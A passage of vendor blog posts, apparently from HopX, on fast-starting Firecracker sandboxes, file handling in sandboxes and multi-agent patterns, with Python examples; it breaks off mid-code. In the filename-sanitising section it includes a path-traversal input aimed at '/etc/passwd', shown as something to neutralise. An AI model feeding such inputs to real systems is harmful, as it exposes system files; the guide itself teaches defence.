Here's how we do it. ## The Cold Start Problem Cold start is the time between requesting a new execution environment and having it ready to run code. It's the enemy of responsive AI systems. **Traditional cold start times:** - Virtual Machines: 30-60 seconds - Docker containers: 2-10 seconds - AWS Lambda: 100ms - 5s (depending on runtime) - Kubernetes pods: 5-30 seconds For AI agents that need to spawn sandboxes dynamically, these numbers are unacceptable. An agent waiting 10 seconds to start code execution breaks the user experience. ## Our Target: Sub-100ms We set an aggressive target: sandboxes must be ready in under 100 milliseconds. That's the threshold where latency becomes imperceptible to humans. Achieving this required rethinking every layer of the stack. ## The Technology Stack ### 1. Firecracker Micro-VMs At the core of HopX is [Firecracker](https://firecracker-microvm.github.io/), the virtualization technology developed by AWS for Lambda and Fargate. **Why Firecracker?** - Minimal VMM (Virtual Machine Monitor) - only essential devices - Boots a minimal Linux kernel in ~125ms - Memory footprint of ~5MB per VM - Full hardware virtualization (not containers) ``` Traditional VM: Firecracker Micro-VM: ┌─────────────────────┐ ┌─────────────────────┐ │ Guest OS │ │ Minimal Guest │ │ (Full kernel) │ │ (Stripped kernel) │ ├─────────────────────┤ ├─────────────────────┤ │ BIOS/UEFI │ │ Minimal Boot │ │ Device Models │ │ (No BIOS) │ ├─────────────────────┤ ├─────────────────────┤ │ QEMU/KVM │ │ Firecracker │ │ (Complex VMM) │ │ (Minimal VMM) │ └─────────────────────┘ └─────────────────────┘ ~30 seconds ~125ms ``` ### 2. Memory Snapshots Booting even a minimal kernel in 125ms isn't fast enough. We use memory snapshots to eliminate boot time entirely. **How snapshots work:** 1. Boot a sandbox to a "ready" state 2. Capture complete memory state (snapshot) 3. Store snapshot on fast storage 4. Restore snapshot instead of booting ``` Cold boot path: Snapshot restore path: BIOS → Kernel → Restore memory pages → Init → Services → Resume execution Ready (~125ms) (~15ms) ``` ### 3. Copy-on-Write Memory When restoring snapshots, we don't copy all memory upfront. We use copy-on-write (CoW) semantics: 1. Map snapshot pages as read-only 2. Only copy pages when written to 3. Most pages are never written This means restore time is nearly instant—we're just setting up page table mappings. ```python # Conceptual representation class SnapshotRestore: def restore(self, snapshot): # Map pages read-only (microseconds) for page in snapshot.pages: self.map_readonly(page) # Pages only copied when written (later) # Most pages never copied at all ``` ### 4. Pre-warmed Pool For the fastest possible starts, we maintain a pool of pre-restored sandboxes: ``` Request → [Pre-warmed Pool] → Sandbox Ready ↓ ~10ms (just hand off) ``` The pool automatically scales based on demand patterns: - More capacity during peak hours - Fewer standby sandboxes during low usage - Machine learning predicts demand spikes ### 5. Optimized Rootfs Our root filesystem images are optimized for fast loading: **Traditional Linux rootfs:** - Full package manager - Documentation - Multiple locales - Development headers - Size: 500MB - 2GB **HopX rootfs:** - Runtime-only binaries - Single locale (C.UTF-8) - No documentation - Stripped binaries - Size: 50MB - 200MB Smaller images mean: - Faster snapshot loading - Less memory pressure - More sandboxes per host ### 6. Minimal Kernel Configuration We use a custom Linux kernel configuration optimized for our use case: ``` Disabled: - USB support - Sound - Bluetooth - Wireless - Most filesystems (keep ext4) - Unnecessary drivers Enabled: - virtio (fast virtual devices) - KVM guest support - Minimal TTY - Network (virtio-net) - Block devices (virtio-blk) ``` Result: Kernel boots faster, uses less memory, has smaller attack surface. ## The Complete Boot Path Here's what happens when you call `Sandbox.create()`: ``` T+0ms: API receives request T+2ms: Auth and rate limiting T+5ms: Select host with capacity T+8ms: Check pre-warmed pool ↓ If available: T+10ms: Claim sandbox from pool T+12ms: Configure networking T+15ms: Return sandbox handle ↓ If pool empty: T+10ms: Start snapshot restore T+25ms: Memory mapping complete T+30ms: Resume VM execution T+35ms: Configure networking T+40ms: Start user process T+50ms: Ready for commands ``` **Total: 15-50ms** depending on pool availability. ## Benchmarks We continuously measure cold start performance: | Scenario | P50 | P95 | P99 | |----------|-----|-----|-----| | Pre-warmed pool | 12ms | 18ms | 25ms | | Snapshot restore | 45ms | 62ms | 85ms | | Cold boot (rare) | 130ms | 180ms | 250ms | Compare to alternatives: | Platform | Cold Start | |----------|------------| | HopX | 12-50ms | | AWS Lambda (Python) | 200-1000ms | | Google Cloud Run | 500-2000ms | | Docker | 2000-5000ms | | Traditional VM | 30000-60000ms | ## Optimizations We Tried (And Rejected) Not every optimization makes sense. Here's what we tried but didn't adopt: ### WASM Instead of VMs WebAssembly sandboxes start faster (~1ms) but: - Limited to WASM-compiled code - No system calls - Can't run arbitrary Python/Node - Weaker isolation than hardware virtualization We chose VMs for flexibility and security. ### Container Pooling Pre-creating containers seemed promising but: - Security isolation weaker than VMs - Container escape vulnerabilities exist - Shared kernel attack surface - Not suitable for untrusted code ### Unikernels Single-purpose OS images boot incredibly fast but: - Requires recompiling applications - No standard tooling - Debugging is difficult - Not practical for general use ## Real-World Impact Fast cold starts enable use cases that weren't possible before: ### AI Agents An agent can spawn sandboxes mid-conversation without noticeable delay: ```python # User asks: "Calculate the Fibonacci sequence" # Agent decides to run code sandbox = Sandbox.create(template="code-interpreter") # <50ms result = sandbox.commands.run("python fib.py") # Code runs # Total latency: imperceptible # Agent responds with results ``` ### Interactive Development Code execution feels instant, like running locally: ```python # Each cell execution creates fresh sandbox for cell in notebook_cells: sandbox = Sandbox.create() # Fast enough for interactive use output = sandbox.commands.run(cell.code) display(output) sandbox.kill() ``` ### Parallel Processing Spawn hundreds of sandboxes without waiting: ```python import asyncio from hopx import Sandbox async def process_item(item): sandbox = await Sandbox.create_async() # Non-blocking result = await sandbox.commands.run_async(f"process {item}") await sandbox.kill_async() return result # Process 100 items in parallel items = range(100) results = await asyncio.gather(*[process_item(i) for i in items]) # All 100 sandboxes started within ~500ms total ``` ## Future Improvements We're continuously working on reducing latency further: ### Speculative Execution Predict sandbox needs before requests arrive: - Analyze request patterns - Pre-warm specific templates - Geographic pre-positioning ### Even Smaller Snapshots Reduce snapshot size through: - Memory deduplication - Compression - Differential snapshots ### Edge Deployment Place sandboxes closer to users: - Edge locations worldwide - Sub-10ms network latency - Local snapshot caches ## Conclusion Achieving sub-100ms cold starts required innovation at every layer: 1. **Firecracker micro-VMs** for minimal overhead 2. **Memory snapshots** to skip boot entirely 3. **Copy-on-write restore** for instant page mapping 4. **Pre-warmed pools** for immediate availability 5. **Optimized rootfs** for smaller images 6. **Custom kernel** for faster boots The result: sandboxes that feel instant, enabling new categories of applications that require on-demand isolated execution. When latency drops below human perception thresholds, the technology becomes invisible. That's our goal—making sandboxes so fast you forget they're not local processes. ## Further Reading - [Firecracker Design](https://github.com/firecracker-microvm/firecracker/blob/main/docs/design.md) - [VM Snapshotting](https://www.usenix.org/conference/nsdi20/presentation/ustiugov) - [The Cost of Virtualization](https://www.usenix.org/conference/atc17/technical-sessions/presentation/agache) - [HopX Architecture Documentation](https://hopx.ai/docs/architecture) --- ## Secure File Operations in AI Sandboxes URL: https://hopx.ai/blog/tutorials/secure-file-operations-in-ai-sandboxes/ Category: Tutorials Published: 2025-11-20 # Secure File Operations in AI Sandboxes AI agents often need to work with files—processing uploads, generating documents, analyzing data. Doing this securely requires careful handling. HopX sandboxes provide isolated file systems where agents can safely manipulate files without affecting your host system. This guide covers everything you need to know about file operations in sandboxes. ## File System Overview Each HopX sandbox has its own isolated filesystem: ``` / ├── app/ # Default working directory ├── tmp/ # Temporary files ├── home/ # User home directory ├── data/ # Data storage └── ... # Standard Linux directories ``` Files in a sandbox: - Are completely isolated from your host - Persist only for the sandbox lifetime - Can be uploaded to and downloaded from - Support all standard file operations ## Basic File Operations ### Writing Files Write content to a file in the sandbox: ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Write a text file sandbox.files.write("/app/data.txt", "Hello, World!") # Write binary content with open("local_image.png", "rb") as f: binary_data = f.read() sandbox.files.write("/app/image.png", binary_data) # Write Python code code = ''' import pandas as pd df = pd.DataFrame({'a': [1, 2, 3], 'b': [4, 5, 6]}) print(df.to_string()) ''' sandbox.files.write("/app/analysis.py", code) ``` ### Reading Files Read files from the sandbox: ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Execute code that creates a file sandbox.commands.run("echo 'Generated content' > /app/output.txt") # Read the file content = sandbox.files.read("/app/output.txt") print(content) # b'Generated content\n' # Decode text files text = sandbox.files.read("/app/output.txt").decode('utf-8') print(text) # 'Generated content\n' ``` ### Listing Files List directory contents: ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Create some files sandbox.commands.run(""" mkdir -p /app/data echo 'file1' > /app/data/file1.txt echo 'file2' > /app/data/file2.txt echo 'file3' > /app/data/file3.csv """) # List directory files = sandbox.files.list("/app/data") for f in files: print(f"{f.name} - {f.size} bytes - {'dir' if f.is_dir else 'file'}") ``` ### Checking File Existence ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Check if file exists exists = sandbox.files.exists("/app/myfile.txt") print(f"File exists: {exists}") # Check via command (alternative) result = sandbox.commands.run("test -f /app/myfile.txt && echo 'yes' || echo 'no'") print(result.stdout) ``` ### Deleting Files ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Create and delete a file sandbox.files.write("/app/temp.txt", "temporary content") sandbox.files.delete("/app/temp.txt") # Delete via command (for complex patterns) sandbox.commands.run("rm -rf /app/cache/*") ``` ## Uploading Files to Sandboxes ### Single File Upload ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Upload from local path with open("dataset.csv", "rb") as f: sandbox.files.write("/app/dataset.csv", f.read()) # Verify upload result = sandbox.commands.run("head -5 /app/dataset.csv") print(result.stdout) ``` ### Multiple File Upload ```python from hopx import Sandbox import os sandbox = Sandbox.create(template="code-interpreter") # Upload entire directory local_dir = "./project_files" for root, dirs, files in os.walk(local_dir): for filename in files: local_path = os.path.join(root, filename) # Preserve directory structure relative_path = os.path.relpath(local_path, local_dir) sandbox_path = f"/app/{relative_path}" with open(local_path, "rb") as f: sandbox.files.write(sandbox_path, f.read()) print(f"Uploaded: {relative_path}") ``` ### Streaming Large Files For large files, stream content instead of loading entirely into memory: ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") def upload_large_file(sandbox, local_path, sandbox_path, chunk_size=1024*1024): """Upload file in chunks""" with open(local_path, "rb") as f: # First chunk creates the file chunk = f.read(chunk_size) sandbox.files.write(sandbox_path, chunk) # Subsequent chunks append while True: chunk = f.read(chunk_size) if not chunk: break # Append mode via command sandbox.commands.run( f"cat >> {sandbox_path}", stdin=chunk ) upload_large_file(sandbox, "large_model.bin", "/app/model.bin") ``` ## Downloading Files from Sandboxes ### Single File Download ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Generate a file in sandbox sandbox.commands.run(""" python -c " import matplotlib.pyplot as plt import numpy as np x = np.linspace(0, 10, 100) plt.plot(x, np.sin(x)) plt.savefig('/app/plot.png') " """) # Download the generated file image_data = sandbox.files.read("/app/plot.png") with open("downloaded_plot.png", "wb") as f: f.write(image_data) ``` ### Download with Metadata ```python from hopx import Sandbox import json sandbox = Sandbox.create(template="code-interpreter") # Get file info before downloading info = sandbox.files.stat("/app/output.csv") print(f"Size: {info.size} bytes") print(f"Modified: {info.modified_at}") # Download only if needed if info.size > 0: content = sandbox.files.read("/app/output.csv") with open("output.csv", "wb") as f: f.write(content) ``` ### Download Directory as Archive ```python from hopx import Sandbox import io import tarfile sandbox = Sandbox.create(template="code-interpreter") # Create archive in sandbox sandbox.commands.run("tar czf /tmp/output.tar.gz -C /app output_dir/") # Download archive archive_data = sandbox.files.read("/tmp/output.tar.gz") # Extract locally with tarfile.open(fileobj=io.BytesIO(archive_data), mode='r:gz') as tar: tar.extractall("./downloaded_output") ``` ## Working with Data Files ### CSV Processing ```python from hopx import Sandbox import json sandbox = Sandbox.create(template="code-interpreter") # Upload CSV csv_data = """name,age,city Alice,30,New York Bob,25,San Francisco Carol,35,Chicago""" sandbox.files.write("/app/people.csv", csv_data) # Process with pandas result = sandbox.commands.run(""" python -c " import pandas as pd import json df = pd.read_csv('/app/people.csv') # Analysis stats = { 'count': len(df), 'avg_age': df['age'].mean(), 'cities': df['city'].unique().tolist() } print(json.dumps(stats)) " """) stats = json.loads(result.stdout) print(f"Average age: {stats['avg_age']}") ``` ### JSON Processing ```python from hopx import Sandbox import json sandbox = Sandbox.create(template="code-interpreter") # Upload complex JSON data = { "users": [ {"id": 1, "name": "Alice", "purchases": [100, 200, 150]}, {"id": 2, "name": "Bob", "purchases": [50, 75, 125]} ] } sandbox.files.write("/app/data.json", json.dumps(data)) # Process JSON result = sandbox.commands.run(""" python -c " import json with open('/app/data.json') as f: data = json.load(f) # Calculate total purchases per user for user in data['users']: total = sum(user['purchases']) print(f\"{user['name']}: \\${total}\") " """) print(result.stdout) ``` ### Excel Files ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Upload Excel file with open("report.xlsx", "rb") as f: sandbox.files.write("/app/report.xlsx", f.read()) # Process with openpyxl/pandas result = sandbox.commands.run(""" python -c " import pandas as pd # Read all sheets xlsx = pd.ExcelFile('/app/report.xlsx') for sheet in xlsx.sheet_names: df = pd.read_excel(xlsx, sheet_name=sheet) print(f'Sheet: {sheet}, Rows: {len(df)}') " """) print(result.stdout) ``` ### Image Processing ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") # Upload image with open("photo.jpg", "rb") as f: sandbox.files.write("/app/photo.jpg", f.read()) # Process with Pillow sandbox.commands.run(""" python -c " from PIL import Image img = Image.open('/app/photo.jpg') print(f'Size: {img.size}') print(f'Format: {img.format}') # Resize resized = img.resize((800, 600)) resized.save('/app/resized.jpg') # Thumbnail img.thumbnail((150, 150)) img.save('/app/thumbnail.jpg') " """) # Download processed images resized = sandbox.files.read("/app/resized.jpg") thumbnail = sandbox.files.read("/app/thumbnail.jpg") ``` ## Security Best Practices ### 1. Validate File Types Always validate files before processing: ```python import magic # python-magic library def validate_upload(file_data, allowed_types): """Validate file type using magic numbers""" mime = magic.from_buffer(file_data, mime=True) if mime not in allowed_types: raise ValueError(f"File type {mime} not allowed") return mime # Usage ALLOWED_TYPES = ['image/jpeg', 'image/png', 'text/csv', 'application/pdf'] with open("upload.file", "rb") as f: data = f.read() file_type = validate_upload(data, ALLOWED_TYPES) sandbox.files.write(f"/app/upload.{file_type.split('/')[1]}", data) ``` ### 2. Limit File Sizes Prevent resource exhaustion: ```python MAX_FILE_SIZE = 100 * 1024 * 1024 # 100MB def safe_upload(sandbox, file_path, sandbox_path): """Upload with size limit""" import os size = os.path.getsize(file_path) if size > MAX_FILE_SIZE: raise ValueError(f"File too large: {size} bytes (max: {MAX_FILE_SIZE})") with open(file_path, "rb") as f: sandbox.files.write(sandbox_path, f.read()) ``` ### 3. Sanitize Filenames Prevent path traversal attacks: ```python import os import re def sanitize_filename(filename): """Remove dangerous characters from filename""" # Remove path components filename = os.path.basename(filename) # Remove dangerous characters filename = re.sub(r'[^\w\-\.]', '_', filename) # Prevent hidden files filename = filename.lstrip('.') # Limit length if len(filename) > 255: name, ext = os.path.splitext(filename) filename = name[:255-len(ext)] + ext return filename # Usage user_filename = "../../../etc/passwd" safe_name = sanitize_filename(user_filename) # "etc_passwd" sandbox.files.write(f"/app/uploads/{safe_name}", data) ``` ### 4. Use Temporary Directories Isolate file operations: ```python from hopx import Sandbox import uuid sandbox = Sandbox.create(template="code-interpreter") # Create unique temp directory per operation session_id = str(uuid.uuid4())[:8] temp_dir = f"/tmp/session_{session_id}" sandbox.commands.run(f"mkdir -p {temp_dir}") # All operations in isolated directory sandbox.files.write(f"{temp_dir}/input.txt", data) sandbox.commands.run(f"cd {temp_dir} && process_file input.txt output.txt") result = sandbox.files.read(f"{temp_dir}/output.txt") # Clean up sandbox.commands.run(f"rm -rf {temp_dir}") ``` ### 5. Quota Management Monitor and limit disk usage: ```python from hopx import Sandbox sandbox = Sandbox.create(template="code-interpreter") def check_disk_usage(sandbox, max_usage_mb=500): """Check disk usage in sandbox""" result = sandbox.commands.run("df -m /app | tail -1 | awk '{print $3}'") used_mb = int(result.stdout.strip()) if used_mb > max_usage_mb: raise Exception(f"Disk usage ({used_mb}MB) exceeds limit ({max_usage_mb}MB)") return used_mb # Check before operations usage = check_disk_usage(sandbox) print(f"Current usage: {usage}MB") ``` ## Common Patterns ### Process and Return Results ```python from hopx import Sandbox import json def process_data_file(input_file: bytes, processing_code: str) -> dict: """Process a data file and return results""" sandbox = Sandbox.create(template="code-interpreter") try: # Upload input sandbox.files.write("/app/input.data", input_file) # Write and run processing code sandbox.files.write("/app/process.py", processing_code) result = sandbox.commands.run("cd /app && python process.py") if result.exit_code != 0: return {"error": result.stderr} # Return output return {"output": result.stdout, "success": True} finally: sandbox.kill() ``` ### Batch File Processing ```python from hopx import Sandbox import concurrent.futures def process_files_batch(files: list[tuple[str, bytes]]) -> list: """Process multiple files in parallel sandboxes""" def process_single(name_and_data): name, data = name_and_data sandbox = Sandbox.create(template="code-interpreter") try: sandbox.files.write(f"/app/{name}", data) result = sandbox.commands.run(f"python /app/analyze.py /app/{name}") return {"name": name, "result": result.stdout} finally: sandbox.kill() with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: results = list(executor.map(process_single, files)) return results ``` ### File Transformation Pipeline ```python from hopx import Sandbox def transform_pipeline(input_file: bytes, transformations: list[str]) -> bytes: """Apply a series of transformations to a file""" sandbox = Sandbox.create(template="code-interpreter") try: # Start with input sandbox.files.write("/app/current.data", input_file) # Apply each transformation for i, transform in enumerate(transformations): sandbox.files.write(f"/app/transform_{i}.py", transform) sandbox.commands.run( f"python /app/transform_{i}.py /app/current.data /app/next.data" ) sandbox.commands.run("mv /app/next.data /app/current.data") # Return final result return sandbox.files.read("/app/current.data") finally: sandbox.kill() ``` ## Conclusion Secure file operations are essential for AI agents that work with user data. HopX sandboxes provide: - **Isolation** - Files never touch your host system - **Security** - Each sandbox has its own filesystem - **Flexibility** - Full Linux filesystem capabilities - **Simplicity** - Clean API for common operations By following the patterns and best practices in this guide, you can build AI agents that safely process any type of file. ## Resources - [HopX Files API Reference](https://hopx.ai/docs/api/files) - [Security Best Practices](https://hopx.ai/docs/security) - [Python File Handling Guide](https://docs.python.org/3/tutorial/inputoutput.html#reading-and-writing-files) --- ## Multi-Agent Architectures with HopX URL: https://hopx.ai/blog/deep-dives/multi-agent-architectures-with-hopx/ Category: Deep Dives Published: 2025-11-19 # Multi-Agent Architectures with HopX Single agents have limits. Complex tasks benefit from multiple specialized agents working together—a researcher, a coder, a reviewer. But running multiple agents with code execution capabilities creates security and coordination challenges. HopX solves this by giving each agent its own isolated sandbox while enabling seamless coordination between them. ## Why Multi-Agent? **Single agent limitations:** - Context window limits - Jack of all trades, master of none - Single point of failure - Sequential processing only **Multi-agent advantages:** - Specialized expertise per agent - Parallel task execution - Redundancy and fault tolerance - Modular, maintainable systems ## Multi-Agent Patterns ### Pattern 1: Supervisor-Worker A supervisor agent delegates tasks to specialized worker agents: ``` ┌─────────────────┐ │ Supervisor │ │ Agent │ └────────┬────────┘ │ ┌────┴────┐ │ │ ┌───▼───┐ ┌───▼───┐ ┌───▼───┐ │Worker │ │Worker │ │Worker │ │Coder │ │Analyst│ │Writer │ └───────┘ └───────┘ └───────┘ ``` Implementation: ```python from hopx import Sandbox import openai import json class SupervisorAgent: def __init__(self): self.client = openai.OpenAI() self.workers = { "coder": CoderWorker(), "analyst": AnalystWorker(), "writer": WriterWorker() } def process(self, task: str) -> str: # Supervisor decides which workers to use plan = self._create_plan(task) results = {} for step in plan["steps"]: worker = self.workers[step["worker"]] result = worker.execute(step["task"], results) results[step["id"]] = result return self._synthesize(results) def _create_plan(self, task: str) -> dict: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """You are a task planner. Break down tasks into steps. Available workers: coder, analyst, writer. Return JSON: {"steps": [{"id": "step1", "worker": "coder", "task": "..."}]}""" }, { "role": "user", "content": task }], response_format={"type": "json_object"} ) return json.loads(response.choices[0].message.content) class CoderWorker: def execute(self, task: str, context: dict) -> str: sandbox = Sandbox.create(template="code-interpreter") try: # Generate code based on task code = self._generate_code(task, context) # Execute in isolated sandbox sandbox.files.write("/app/task.py", code) result = sandbox.commands.run("cd /app && python task.py") return { "code": code, "output": result.stdout, "error": result.stderr if result.exit_code != 0 else None } finally: sandbox.kill() class AnalystWorker: def execute(self, task: str, context: dict) -> str: sandbox = Sandbox.create(template="code-interpreter") try: # Write analysis code analysis_code = self._generate_analysis(task, context) sandbox.files.write("/app/analyze.py", analysis_code) # If previous step produced data, upload it if "data" in context: sandbox.files.write("/app/data.json", json.dumps(context["data"])) result = sandbox.commands.run("cd /app && python analyze.py") return {"analysis": result.stdout} finally: sandbox.kill() class WriterWorker: def execute(self, task: str, context: dict) -> str: # Writer doesn't need sandbox - just text generation response = openai.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "You are a technical writer. Create clear documentation." }, { "role": "user", "content": f"Write about: {task}\n\nContext: {json.dumps(context)}" }] ) return {"document": response.choices[0].message.content} # Usage supervisor = SupervisorAgent() result = supervisor.process( "Analyze the Titanic dataset, create a survival prediction model, " "and write a report explaining the findings." ) ``` ### Pattern 2: Debate/Adversarial Multiple agents debate or challenge each other's work: ``` ┌─────────────────┐ │ Proposer │◄─────┐ │ Agent │ │ └────────┬────────┘ │ │ │ ▼ │ ┌─────────────────┐ │ │ Critic │──────┘ │ Agent │ └────────┬────────┘ │ ▼ ┌─────────────────┐ │ Synthesizer │ │ Agent │ └─────────────────┘ ``` Implementation: ```python from hopx import Sandbox import openai class CodeDebateSystem: def __init__(self): self.client = openai.OpenAI() self.max_rounds = 3 def solve(self, problem: str) -> str: """Solve a coding problem through debate""" # Initial proposal proposal = self._propose(problem) for round in range(self.max_rounds): # Critic reviews and tests the code critique = self._critique(problem, proposal) if critique["approved"]: break # Proposer improves based on feedback proposal = self._improve(problem, proposal, critique) return proposal["code"] def _propose(self, problem: str) -> dict: """Proposer agent generates initial solution""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "You are a Python expert. Solve coding problems." }, { "role": "user", "content": problem }] ) code = self._extract_code(response.choices[0].message.content) return {"code": code, "reasoning": response.choices[0].message.content} def _critique(self, problem: str, proposal: dict) -> dict: """Critic agent tests and reviews the code""" sandbox = Sandbox.create(template="code-interpreter") try: # Test the proposed code sandbox.files.write("/app/solution.py", proposal["code"]) result = sandbox.commands.run("cd /app && python solution.py") # Generate critique response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """You are a code reviewer. Analyze code for: 1. Correctness 2. Edge cases 3. Performance 4. Readability Return JSON: {"approved": bool, "issues": [...], "suggestions": [...]}""" }, { "role": "user", "content": f"""Problem: {problem} Code: {proposal['code']} Execution result: stdout: {result.stdout} stderr: {result.stderr} exit_code: {result.exit_code}""" }], response_format={"type": "json_object"} ) return json.loads(response.choices[0].message.content) finally: sandbox.kill() def _improve(self, problem: str, proposal: dict, critique: dict) -> dict: """Proposer improves based on critique""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Improve the code based on the feedback." }, { "role": "user", "content": f"""Problem: {problem} Current code: {proposal['code']} Critique: {json.dumps(critique)} Please provide improved code addressing all issues.""" }] ) code = self._extract_code(response.choices[0].message.content) return {"code": code, "reasoning": response.choices[0].message.content} # Usage debate_system = CodeDebateSystem() solution = debate_system.solve( "Write a function to find the longest palindromic substring in a string. " "It should handle edge cases and be efficient." ) ``` ### Pattern 3: Assembly Line (Pipeline) Agents process data sequentially, each adding value: ``` Input → [Agent 1] → [Agent 2] → [Agent 3] → Output Extract Transform Validate ``` Implementation: ```python from hopx import Sandbox from dataclasses import dataclass from typing import Any @dataclass class PipelineContext: data: Any metadata: dict errors: list class PipelineAgent: """Base class for pipeline agents""" def process(self, context: PipelineContext) -> PipelineContext: raise NotImplementedError class DataExtractor(PipelineAgent): """Extracts data from raw input""" def process(self, context: PipelineContext) -> PipelineContext: sandbox = Sandbox.create(template="code-interpreter") try: # Upload raw data sandbox.files.write("/app/raw_data.txt", context.data) # Run extraction sandbox.files.write("/app/extract.py", """ import json with open('/app/raw_data.txt') as f: raw = f.read() # Parse and extract structured data extracted = { 'lines': raw.strip().split('\\n'), 'word_count': len(raw.split()), 'char_count': len(raw) } with open('/app/extracted.json', 'w') as f: json.dump(extracted, f) print(json.dumps(extracted)) """) result = sandbox.commands.run("cd /app && python extract.py") context.data = json.loads(result.stdout) context.metadata["extraction_complete"] = True return context finally: sandbox.kill() class DataTransformer(PipelineAgent): """Transforms extracted data""" def process(self, context: PipelineContext) -> PipelineContext: sandbox = Sandbox.create(template="code-interpreter") try: sandbox.files.write("/app/data.json", json.dumps(context.data)) sandbox.files.write("/app/transform.py", """ import json with open('/app/data.json') as f: data = json.load(f) # Transform: add computed fields transformed = data.copy() transformed['avg_line_length'] = data['char_count'] / max(len(data['lines']), 1) transformed['lines_processed'] = [line.strip().upper() for line in data['lines']] with open('/app/transformed.json', 'w') as f: json.dump(transformed, f) print(json.dumps(transformed)) """) result = sandbox.commands.run("cd /app && python transform.py") context.data = json.loads(result.stdout) context.metadata["transformation_complete"] = True return context finally: sandbox.kill() class DataValidator(PipelineAgent): """Validates transformed data""" def process(self, context: PipelineContext) -> PipelineContext: sandbox = Sandbox.create(template="code-interpreter") try: sandbox.files.write("/app/data.json", json.dumps(context.data)) sandbox.files.write("/app/validate.py", """ import json import sys with open('/app/data.json') as f: data = json.load(f) errors = [] # Validation rules if data.get('word_count', 0) < 1: errors.append("No words found") if data.get('avg_line_length', 0) > 1000: errors.append("Lines too long") if not data.get('lines_processed'): errors.append("No processed lines") result = { 'valid': len(errors) == 0, 'errors': errors, 'data': data } print(json.dumps(result)) """) result = sandbox.commands.run("cd /app && python validate.py") validation = json.loads(result.stdout) context.errors.extend(validation["errors"]) context.metadata["validation_complete"] = True context.metadata["valid"] = validation["valid"] return context finally: sandbox.kill() class Pipeline: def __init__(self, agents: list[PipelineAgent]): self.agents = agents def run(self, input_data: Any) -> PipelineContext: context = PipelineContext( data=input_data, metadata={}, errors=[] ) for agent in self.agents: context = agent.process(context) # Stop on critical errors if context.errors and not context.metadata.get("continue_on_error"): break return context # Usage pipeline = Pipeline([ DataExtractor(), DataTransformer(), DataValidator() ]) result = pipeline.run("Hello World\nThis is a test\nMultiple lines here") print(f"Valid: {result.metadata['valid']}") print(f"Final data: {result.data}") ``` ### Pattern 4: Parallel Specialists Multiple specialized agents work simultaneously: ``` ┌───────────┐ │ Task │ │ Router │ └─────┬─────┘ │ ┌────────────┼────────────┐ │ │ │ ▼ ▼ ▼ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ Math │ │ Code │ │Research │ │ Expert │ │ Expert │ │ Expert │ └────┬────┘ └────┬────┘ └────┬────┘ │ │ │ └────────────┼────────────┘ │ ┌─────▼─────┐ │ Result │ │ Merger │ └───────────┘ ``` Implementation: ```python from hopx import Sandbox import concurrent.futures import openai class ParallelAgentSystem: def __init__(self): self.client = openai.OpenAI() self.specialists = { "math": MathExpert(), "code": CodeExpert(), "research": ResearchExpert() } def solve(self, task: str) -> str: # Route task to relevant specialists relevant = self._identify_specialists(task) # Execute in parallel with concurrent.futures.ThreadPoolExecutor(max_workers=len(relevant)) as executor: futures = { executor.submit(self.specialists[name].solve, task): name for name in relevant } results = {} for future in concurrent.futures.as_completed(futures): name = futures[future] results[name] = future.result() # Merge results return self._merge_results(task, results) def _identify_specialists(self, task: str) -> list[str]: """Determine which specialists are needed""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Identify which specialists are needed. Available: math, code, research Return JSON: {"specialists": ["math", "code"]}""" }, { "role": "user", "content": task }], response_format={"type": "json_object"} ) return json.loads(response.choices[0].message.content)["specialists"] def _merge_results(self, task: str, results: dict) -> str: """Combine results from all specialists""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Synthesize the results from multiple specialists into a coherent answer." }, { "role": "user", "content": f"Task: {task}\n\nResults:\n{json.dumps(results, indent=2)}" }] ) return response.choices[0].message.content class MathExpert: def solve(self, task: str) -> dict: sandbox = Sandbox.create(template="code-interpreter") try: # Use symbolic math sandbox.commands.run("pip install sympy -q") code = f''' import sympy as sp from sympy import symbols, solve, simplify, diff, integrate # Math computation based on task x, y, z = symbols('x y z') # Example: solve equations, compute derivatives, etc. # This would be generated based on the specific math task result = {{"computed": True, "method": "symbolic"}} print(result) ''' sandbox.files.write("/app/math.py", code) result = sandbox.commands.run("cd /app && python math.py") return {"output": result.stdout, "type": "mathematical"} finally: sandbox.kill() class CodeExpert: def solve(self, task: str) -> dict: sandbox = Sandbox.create(template="code-interpreter") try: # Generate and test code solution response = openai.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Write Python code to solve this problem." }, { "role": "user", "content": task }] ) code = extract_code(response.choices[0].message.content) sandbox.files.write("/app/solution.py", code) result = sandbox.commands.run("cd /app && python solution.py") return { "code": code, "output": result.stdout, "type": "code_solution" } finally: sandbox.kill() class ResearchExpert: def solve(self, task: str) -> dict: # Research doesn't need sandbox response = openai.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Provide research insights and background information." }, { "role": "user", "content": task }] ) return { "research": response.choices[0].message.content, "type": "research" } # Usage system = ParallelAgentSystem() answer = system.solve( "Calculate the area under the curve y=x^2 from 0 to 5, " "implement a numerical integration in Python, " "and explain the mathematical theory behind integration." ) ``` ## Agent Communication ### Shared Memory via Files Agents can communicate through files in a shared sandbox: ```python from hopx import Sandbox # Create shared sandbox for communication shared_sandbox = Sandbox.create(template="code-interpreter") class Agent: def __init__(self, name: str, shared: Sandbox): self.name = name self.shared = shared self.mailbox = f"/comm/{name}" shared.commands.run(f"mkdir -p {self.mailbox}") def send(self, to: str, message: dict): """Send message to another agent""" import time 